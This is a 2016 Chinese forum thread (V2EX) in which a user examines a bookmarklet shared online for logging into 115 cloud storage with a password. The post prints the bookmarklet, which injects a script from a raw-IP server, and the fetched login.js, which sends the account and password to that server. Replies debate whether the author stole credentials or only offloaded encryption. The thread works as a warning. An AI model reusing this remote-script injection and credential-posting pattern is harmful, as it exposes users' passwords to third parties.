V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
he11owor1d
V2EX  ›  分享发现

曝光一只脚本小子

  •  
  •   he11owor1d · 2016-10-20 17:24:05 +08:00 · 3931 次点击
    这是一个创建于 2963 天前的主题,其中的信息可能已经有所发展或是发生改变。

    起因

    115 网盘的强制二维码登录很烦,不想装他家的 App 也不想装他家的浏览器,所以想看看有没有啥办法用普通浏览器输账号密码登陆。

    经过

    在网上开始搜索信息,搜索到结果大同小异啦,什么福*吧,吾爱*解之类的,随便点个帖子进去。发现在 console 里输点代码就可以了哈,用起来还挺简单的嘛~我喜欢!再一看帖子评分,哟,这么多好评,妥妥的精华帖啊!

    然而。。。机智的我在把代码贴到 console 里之前多看了一眼

    javascript:(function(){window.my115Server='http://139.129.47.212:3000/';var a=document.createElement('script');a.type='text/javascript';a.src=my115Server+'login.js';document.getElementsByTagName('head')[0].appendChild(a)})()
    

    哈,其实就是注入了http://139.129.47.212:3000/login.js嘛,直接把代码下下来学习一下~涨涨姿势水平嘛。

    login.js 的内容是这样的

    $('a[lgb-nav="login"]').click()
    $('div[lg_rel="download"]').hide()
    $('div[lg_rel="login"]').show()
    var browserInterface = {
        LoginEncrypt: function LoginEncrypt(env, callback) {
            alert('\u5927\u5BB6\u6362\u8FD9\u4E2A\u811A\u672C\u5427, \u6700\u8FD1\u516C\u53F8\u5B9E\u5728\u592A\u5FD9\u4E860.0 https://github.com/kkHAIKE/fake115');
            return false;
            var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
            var rTime;
            function processDec(r) {
                json = $.parseJSON(r.responseText);
                if (!json.state) {
                    window[callback](r.responseText);
                } else {
                    console.log('ok');
                    $.post(server, {body: json.data,time: rTime})
                    .success(function (r) {
                        var cookie = $.parseJSON(r.body).cookie;
                        var d = new Date();
                        d.setTime(d.getTime() + (7*24*60*60*1000));
                        for (var i in cookie) if ( cookie.hasOwnProperty(i) ) {
                            document.cookie = (i+'='+escape(cookie[i])+';expires='+d.toUTCString()+';domain='+'.115.com');
                        }
                        console.log('done');
                        location.reload();
                    });
                }
            }
            var dat = {
                account: $('#js-account').val(),
                passwd: $('#js-passwd').val()
            };
            if (env.hasOwnProperty('country')) {
                dat['country'] = env['country'];
            }
            $.post(server, dat)
            .success(function (r) {
                console.log(r);
                rTime = r.time;
                var settings = {
                    url: oofUtil.paths.PASSPORT + '/?'+$.param(r.headers),
                    cache: false,
                    type: 'POST',
                    data: {data: r.body, goto: ''},
                    complete: processDec
                };
                oofUtil.bridge.passport(settings);
            });
        }
    };
    window.browserInterface = browserInterface;
    

    缩水一下的话呢,就是下面这样

    ...
    alert('大家换这个脚本吧, 最近公司实在太忙了 0.0 https://github.com/kkHAIKE/fake115');
    ...
    var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
    ...
    var dat = {
                account: $('#js-account').val(),
                passwd: $('#js-passwd').val()
            };
    $.post(server, dat);
    

    额,同学,你这有点侮辱我们智商啊。。。你对我的账号密码做了什么??而且,192.168.31.110是什么鬼?难道是之前就被人发现了所以把服务器地址改掉了?

    结果

    再打开其他几个搜索到的帖子发现,这段脚本还常常以这种形式出现

    $.getScript('https://coding.net/u/imspace/p/m115p/git/raw/master/ref.js')
    

    啊,于是。。。

    第 1 条附言  ·  2016-10-21 08:54:24 +08:00
    如楼下大家所说,作者可能只是把一些复杂的运算放在服务器了,所以需要把账号密码发过去,我可能是错怪作者啦
    6 条回复    2016-10-21 08:53:34 +08:00
    popok
        1
    popok  
       2016-10-20 18:22:49 +08:00 via iPhone
    这个 js 我也用过,当时是可以用的,因为 115 的原因,需要把登录帐号密码用某个密钥加密后再提交登录,这个作者应该是逆向得到了加密的算法,然后通过他的服务器来加密我们的帐号密码的。我当时在 coding.net 上问过作者,为什么不把加密过程写在 js 里,见:
    https://coding.net/u/imspace/p/m115p/topic/153515
    当时作者说是为了兼容性考虑,具体情况我也不好说。
    不过我觉得这种这么明显的代码,作者应该不至于这么 low 拿我们的密码,不过确实我们的密码是发往他的服务器了。
    tyhunter
        2
    tyhunter  
       2016-10-20 18:36:14 +08:00
    绑定了微信,一直用微信扫码登陆 115
    ccloli
        3
    ccloli  
       2016-10-20 18:42:43 +08:00
    作者在刚完成时有在我所在的一个贴吧发布过,当时也有人提出为什么会把帐号密码发送给作者的阿里云服务器的质疑。往好了想,作者是为了防止计算方法被外泄,这样被滥用后 115 很有可能会再改一次算法,这样对于作者会徒增工作量,所以干脆闭源比较保险。反正我当时用完之后就先改了遍密码(
    hronro
        4
    hronro  
       2016-10-20 20:48:55 +08:00
    可怕😱,一般情况下我都没那个心思去看这些脚本的源码
    popok
        5
    popok  
       2016-10-21 08:29:11 +08:00
    话说脚本小子一般指使用别人开发的程序来恶意破坏他人系统的那种人吧。
    这个作者算不上脚本小子吧,而且也没证据证明作者盗了你的号,虽然我们的账号密码确实发到了他那个 api 上去。
    he11owor1d
        6
    he11owor1d  
    OP
       2016-10-21 08:53:34 +08:00
    @popok 嗯呐,确实是这样的。也许我错怪作者啦
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2684 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 10:13 · PVG 18:13 · LAX 02:13 · JFK 05:13
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.